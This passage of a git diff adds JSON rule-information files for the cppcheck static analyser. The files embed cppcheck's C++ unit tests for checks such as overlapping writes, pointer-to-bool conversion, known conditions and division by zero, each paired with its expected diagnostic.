[overlappingWriteFunction]\\n\",\n errout_str());\n\n // wmemcpy\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n // strcpy\n check(\"void foo(char *ptr) {\\n\"\n \" strcpy(ptr, ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overlapping read/write in strcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n }\n\n void constVariableArrayMember() { // #10371\n check(\"class Foo {\\n\"\n \"public:\\n\"\n \" Foo();\\n\"\n \" int GetVal() const { return m_Arr[0]; }\\n\"\n \" int m_Arr[1];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownPointerToBool()\n {\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(p);\\n\"\n \" g(&i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Pointer expression 'p' converted to bool is always true. [knownPointerToBool]\\n\"\n \"[test.cpp:6:7]: (style) Pointer expression '&i' converted to bool is always true. [knownPointerToBool]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(const_cast(x));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool x; };\\n\"\n \"bool f(A* a) {\\n\"\n \" if (a) {\\n\"\n \" return a->x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"bool f(A a) {\\n\"\n \" if (a.x) {\\n\"\n \" return a.x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Pointer expression 'a.x' converted to bool is always true. [knownPointerToBool]\\n\", errout_str());\n\n check(\"void f(bool* b) { if (b) *b = true; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct B { virtual void f() {} };\\n\" // #11929\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" if (!b)\\n\"\n \" return;\\n\"\n \" if (dynamic_cast(b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool (*ptr)();\\n\" // #12170\n \"void f() {\\n\"\n \" if (!ptr || !ptr()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b[2]);\\n\" // #12822\n \"void f() {\\n\"\n \" bool b[2] = {};\\n\"\n \" g(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterateByValue() {\n check(\"void f() {\\n\" // #9684\n \" const std::set ss = { \\\"a\\\", \\\"b\\\", \\\"c\\\" };\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n check(\"void f() {\\n\" // #13696\n \" struct T {\\n\"\n \" std::string name;\\n\"\n \" UnknownClass member;\\n\"\n \" };\\n\"\n \"\\n\"\n \" const std::set ss;\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n }\n\n void knownConditionFloating()\n {\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float f = 1.0;\\n\"\n \" if (f > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'pf > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float pf = +1.0;\\n\"\n \" if (pf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float pf = +1.0;\\n\"\n \" if (pf < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'nf > -1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > 1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > +1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00f' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n }\n\n void knownConditionPrefixed()\n {\n check(\"void foo() {\\n\"\n \" int i = 1;\\n\"\n \" if (i < +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i < 1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" int i = 1;\\n\"\n \" if (i > +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i > +1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestOther)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkNanInArithmeticExpression.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkNanInArithmeticExpression.json new file mode 100644 index 0000000..8c3bd24 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkNanInArithmeticExpression.json @@ -0,0 +1,22 @@ +{ + "name": "checkNanInArithmeticExpression", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 13, + "branches": 5, + "apis": 16, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 876 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkother.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestOther : public TestFixture {\npublic:\n TestOther() : TestFixture(\"TestOther\") {}\n\nprivate:\n /*const*/ Settings _settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(emptyBrackets);\n\n TEST_CASE(zeroDiv1);\n TEST_CASE(zeroDiv2);\n TEST_CASE(zeroDiv3);\n TEST_CASE(zeroDiv4);\n TEST_CASE(zeroDiv5);\n TEST_CASE(zeroDiv6);\n TEST_CASE(zeroDiv7); // #4930\n TEST_CASE(zeroDiv8);\n TEST_CASE(zeroDiv9);\n TEST_CASE(zeroDiv10);\n TEST_CASE(zeroDiv11);\n TEST_CASE(zeroDiv12);\n TEST_CASE(zeroDiv13);\n TEST_CASE(zeroDiv14); // #1169\n TEST_CASE(zeroDiv15); // #8319\n TEST_CASE(zeroDiv16); // #11158\n TEST_CASE(zeroDiv17); // #9931\n TEST_CASE(zeroDiv18);\n TEST_CASE(zeroDiv19);\n TEST_CASE(zeroDiv20); // #11175\n TEST_CASE(zeroDiv21);\n TEST_CASE(zeroDiv22);\n\n TEST_CASE(zeroDivCond); // division by zero / useless condition\n\n TEST_CASE(nanInArithmeticExpression);\n\n TEST_CASE(varScope1);\n TEST_CASE(varScope2);\n TEST_CASE(varScope3);\n TEST_CASE(varScope4);\n TEST_CASE(varScope5);\n TEST_CASE(varScope6);\n TEST_CASE(varScope7);\n TEST_CASE(varScope8);\n TEST_CASE(varScope9); // classes may have extra side-effects\n TEST_CASE(varScope10); // Undefined macro FOR\n TEST_CASE(varScope11); // #2475 - struct initialization is not inner scope\n TEST_CASE(varScope12);\n TEST_CASE(varScope13); // variable usage in inner loop\n TEST_CASE(varScope14);\n TEST_CASE(varScope15); // #4573 if-else-if\n TEST_CASE(varScope16);\n TEST_CASE(varScope17);\n TEST_CASE(varScope18);\n TEST_CASE(varScope20); // Ticket #5103\n TEST_CASE(varScope21); // Ticket #5382\n TEST_CASE(varScope22); // Ticket #5684\n TEST_CASE(varScope23); // Ticket #6154\n TEST_CASE(varScope24); // pointer / reference\n TEST_CASE(varScope25); // time_t\n TEST_CASE(varScope26); // range for loop, map\n TEST_CASE(varScope27); // #7733 - #if\n TEST_CASE(varScope28); // #10527\n TEST_CASE(varScope29); // #10888\n TEST_CASE(varScope30); // #8541\n TEST_CASE(varScope31); // #11099\n TEST_CASE(varScope32); // #11441\n TEST_CASE(varScope33);\n TEST_CASE(varScope34);\n TEST_CASE(varScope35);\n TEST_CASE(varScope36); // #12158\n TEST_CASE(varScope37); // #12158\n TEST_CASE(varScope38);\n TEST_CASE(varScope39);\n TEST_CASE(varScope40);\n TEST_CASE(varScope41); // #11845\n TEST_CASE(varScope42);\n TEST_CASE(varScope43);\n\n TEST_CASE(oldStylePointerCast);\n TEST_CASE(intToPointerCast);\n TEST_CASE(invalidPointerCast);\n\n TEST_CASE(passedByValue);\n TEST_CASE(passedByValue_nonConst);\n TEST_CASE(passedByValue_externC);\n\n TEST_CASE(constVariable);\n TEST_CASE(constParameterCallback);\n TEST_CASE(constPointer);\n TEST_CASE(constArray);\n\n TEST_CASE(switchRedundantAssignmentTest);\n TEST_CASE(switchRedundantOperationTest);\n TEST_CASE(switchRedundantBitwiseOperationTest);\n TEST_CASE(unreachableCode);\n TEST_CASE(redundantContinue);\n\n TEST_CASE(suspiciousCase);\n TEST_CASE(suspiciousEqualityComparison);\n TEST_CASE(suspiciousUnaryPlusMinus); // #8004\n TEST_CASE(suspiciousFloatingPointCast);\n\n TEST_CASE(selfAssignment);\n TEST_CASE(trac1132);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction1);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction2);\n TEST_CASE(testMisusedScopeObjectPicksClass);\n TEST_CASE(testMisusedScopeObjectPicksStruct);\n TEST_CASE(testMisusedScopeObjectDoesNotPickIf);\n TEST_CASE(testMisusedScopeObjectDoesNotPickConstructorDeclaration);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunctor);\n TEST_CASE(testMisusedScopeObjectDoesNotPickLocalClassConstructors);\n TEST_CASE(testMisusedScopeObjectDoesNotPickUsedObject);\n TEST_CASE(testMisusedScopeObjectDoesNotPickPureC);\n TEST_CASE(testMisusedScopeObjectDoesNotPickNestedClass);\n TEST_CASE(testMisusedScopeObjectInConstructor);\n TEST_CASE(testMisusedScopeObjectStandardType);\n TEST_CASE(testMisusedScopeObjectNamespace);\n TEST_CASE(testMisusedScopeObjectAssignment); // #11371\n TEST_CASE(trac2071);\n TEST_CASE(trac2084);\n TEST_CASE(trac3693);\n\n TEST_CASE(clarifyCalculation);\n TEST_CASE(clarifyStatement);\n\n TEST_CASE(duplicateBranch);\n TEST_CASE(duplicateBranch1); // tests extracted by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck ): Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n TEST_CASE(duplicateBranch2); // empty macro\n TEST_CASE(duplicateBranch3);\n TEST_CASE(duplicateBranch4);\n TEST_CASE(duplicateBranch5); // make sure the Token attributes are compared\n TEST_CASE(duplicateBranch6);\n TEST_CASE(duplicateExpression1);\n TEST_CASE(duplicateExpression2); // ticket #2730\n TEST_CASE(duplicateExpression3); // ticket #3317\n TEST_CASE(duplicateExpression4); // ticket #3354 (++)\n TEST_CASE(duplicateExpression5); // ticket #3749 (macros with same values)\n TEST_CASE(duplicateExpression6); // ticket #4639\n TEST_CASE(duplicateExpression7);\n TEST_CASE(duplicateExpression8);\n TEST_CASE(duplicateExpression9); // #9320\n TEST_CASE(duplicateExpression10); // #9485\n TEST_CASE(duplicateExpression11); // #8916 (function call)\n TEST_CASE(duplicateExpression12); // #10026\n TEST_CASE(duplicateExpression13); // #7899\n TEST_CASE(duplicateExpression14); // #9871\n TEST_CASE(duplicateExpression15); // #10650\n TEST_CASE(duplicateExpression16); // #10569\n TEST_CASE(duplicateExpression17); // #12036\n TEST_CASE(duplicateExpression18);\n TEST_CASE(duplicateExpressionLoop);\n TEST_CASE(duplicateValueTernary);\n TEST_CASE(duplicateExpressionTernary); // #6391\n TEST_CASE(duplicateExpressionTemplate); // #6930\n TEST_CASE(duplicateExpressionCompareWithZero);\n TEST_CASE(oppositeExpression);\n TEST_CASE(duplicateVarExpression);\n TEST_CASE(duplicateVarExpressionUnique);\n TEST_CASE(duplicateVarExpressionAssign);\n TEST_CASE(duplicateVarExpressionCrash);\n TEST_CASE(multiConditionSameExpression);\n\n TEST_CASE(checkSignOfUnsignedVariable);\n TEST_CASE(checkSignOfPointer);\n\n TEST_CASE(checkSuspiciousSemicolon1);\n TEST_CASE(checkSuspiciousSemicolon2);\n TEST_CASE(checkSuspiciousSemicolon3);\n TEST_CASE(checkSuspiciousComparison);\n\n TEST_CASE(checkInvalidFree);\n\n TEST_CASE(checkRedundantCopy);\n\n TEST_CASE(checkNegativeShift);\n\n TEST_CASE(incompleteArrayFill);\n\n TEST_CASE(redundantVarAssignment);\n TEST_CASE(redundantVarAssignment_trivial);\n TEST_CASE(redundantVarAssignment_struct);\n TEST_CASE(redundantVarAssignment_union);\n TEST_CASE(redundantVarAssignment_7133);\n TEST_CASE(redundantVarAssignment_stackoverflow);\n TEST_CASE(redundantVarAssignment_lambda);\n TEST_CASE(redundantVarAssignment_loop);\n TEST_CASE(redundantVarAssignment_after_switch);\n TEST_CASE(redundantVarAssignment_pointer);\n TEST_CASE(redundantVarAssignment_pointer_parameter);\n TEST_CASE(redundantVarAssignment_array);\n TEST_CASE(redundantVarAssignment_switch_break);\n TEST_CASE(redundantInitialization);\n //TEST_CASE(redundantMemWrite); // FIXME: temporary hack\n TEST_CASE(redundantAssignmentSameValue);\n\n TEST_CASE(varFuncNullUB);\n\n TEST_CASE(checkCastIntToCharAndBack); // ticket #160\n\n TEST_CASE(checkCommaSeparatedReturn);\n TEST_CASE(checkPassByReference);\n\n TEST_CASE(checkComparisonFunctionIsAlwaysTrueOrFalse);\n\n TEST_CASE(integerOverflow); // #5895\n\n TEST_CASE(redundantPointerOp);\n TEST_CASE(test_isSameExpression);\n TEST_CASE(raceAfterInterlockedDecrement);\n\n TEST_CASE(testUnusedLabel);\n\n TEST_CASE(testEvaluationOrder);\n TEST_CASE(testEvaluationOrderSelfAssignment);\n TEST_CASE(testEvaluationOrderMacro);\n TEST_CASE(testEvaluationOrderSequencePointsFunctionCall);\n TEST_CASE(testEvaluationOrderSequencePointsComma);\n TEST_CASE(testEvaluationOrderSizeof);\n\n TEST_CASE(testUnsignedLessThanZero);\n\n TEST_CASE(doubleMove1);\n TEST_CASE(doubleMoveMemberInitialization1);\n TEST_CASE(doubleMoveMemberInitialization2);\n TEST_CASE(doubleMoveMemberInitialization3); // #9974\n TEST_CASE(doubleMoveMemberInitialization4);\n TEST_CASE(moveAndAssign1);\n TEST_CASE(moveAndAssign2);\n TEST_CASE(moveAssignMoveAssign);\n TEST_CASE(moveAndReset1);\n TEST_CASE(moveAndReset2);\n TEST_CASE(moveResetMoveReset);\n TEST_CASE(moveAndFunctionParameter);\n TEST_CASE(moveAndFunctionParameterReference);\n TEST_CASE(moveAndFunctionParameterConstReference);\n TEST_CASE(moveAndFunctionParameterUnknown);\n TEST_CASE(moveAndReturn);\n TEST_CASE(moveAndClear);\n TEST_CASE(movedPointer);\n TEST_CASE(moveAndAddressOf);\n TEST_CASE(partiallyMoved);\n TEST_CASE(moveAndLambda);\n TEST_CASE(moveInLoop);\n TEST_CASE(moveCallback);\n TEST_CASE(moveClassVariable);\n TEST_CASE(forwardAndUsed);\n TEST_CASE(moveAndReference);\n TEST_CASE(moveForRange);\n TEST_CASE(moveTernary);\n TEST_CASE(movePointerAlias);\n\n TEST_CASE(funcArgNamesDifferent);\n TEST_CASE(funcArgOrderDifferent);\n TEST_CASE(cpp11FunctionArgInit); // #7846 - \"void foo(int declaration = {}) {\"\n\n TEST_CASE(shadowVariables);\n TEST_CASE(knownArgument);\n TEST_CASE(knownArgumentHiddenVariableExpression);\n TEST_CASE(knownArgumentTernaryOperator);\n TEST_CASE(checkComparePointers);\n\n TEST_CASE(unusedVariableValueTemplate); // #8994\n\n TEST_CASE(moduloOfOne);\n\n TEST_CASE(sameExpressionPointers);\n\n TEST_CASE(checkOverlappingWrite);\n\n TEST_CASE(constVariableArrayMember); // #10371\n\n TEST_CASE(knownPointerToBool);\n TEST_CASE(iterateByValue);\n\n TEST_CASE(knownConditionFloating);\n TEST_CASE(knownConditionPrefixed);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n template\n void check_(const char* file, int line, const char (&code)[size], Settings *s) {\n check_(file, line, code, true, true, true, false, s);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n Settings* settings = &_settings;\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.enable(Certainty::inconclusive);\n\n SimpleTokenizer2 tokenizer(*settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n template\n void checkInterlockedDecrement(const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().platform(Platform::Type::Win32A).build();\n\n check(code, true, false, true, false, &settings);\n }\n\n void emptyBrackets() {\n check(\"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void zeroDiv1() { // floating point division by zero => no error\n check(\"void foo() {\\n\"\n \" cout << 1. / 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (double)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (float)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (int)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sum = 0;\\n\"\n \" for(int i = 0; i < n; i ++)\\n\"\n \" {\\n\"\n \" sum += i;\\n\"\n \" }\\n\"\n \" cout< do not warn\n check(\"void f() {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x, int y) {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv8() {\n // #5584 - FP when function is unknown\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do_something(a);\\n\"\n \" return 4 / a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error, inconclusive) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv9() {\n // #6403 FP zerodiv - inside protecting if-clause\n check(\"void foo() {\\n\"\n \" double fStepHelp = 0;\\n\"\n \" if( (rOuterValue >>= fStepHelp) ) {\\n\"\n \" if( fStepHelp != 0.0) {\\n\"\n \" double fStepMain = 1;\\n\"\n \" sal_Int32 nIntervalCount = static_cast< sal_Int32 >(fStepMain / fStepHelp);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv10() {\n // #5402 false positive: (error) Division by zero -- with boost::format\n check(\"int main() {\\n\"\n \" std::cout\\n\"\n \" << boost::format(\\\" %d :: %s <> %s\\\") % 0 % \\\"a\\\" % \\\"b\\\"\\n\"\n \" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv11() {\n check(\"void f(int a) {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:18]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n check(\"void f() {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv12() {\n // #8141\n check(\"intmax_t f() {\\n\"\n \" return 1 / imaxabs(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n void zeroDiv13() {\n // #7324\n check(\"int f () {\\n\"\n \" int dividend = 10;\\n\"\n \" int divisor = 1;\\n\"\n \" dividend = dividend / (--divisor);\\n\"\n \" return dividend;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv14() {\n check(\"void f() {\\n\" // #1169\n \" double dx = 1.;\\n\"\n \" int ix = 1;\\n\"\n \" int i = 1;\\n\"\n \" std::cout << ix / (i >> 1) << std::endl;\\n\"\n \" std::cout << dx / (i >> 1) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv15() { // #8319\n check(\"int f(int i) { return i - 1; }\\n\"\n \"int f() {\\n\"\n \" const int d = 1;\\n\"\n \" const int r = 1 / f(d);\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n // #11158\n void zeroDiv16()\n {\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = number / 10;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int 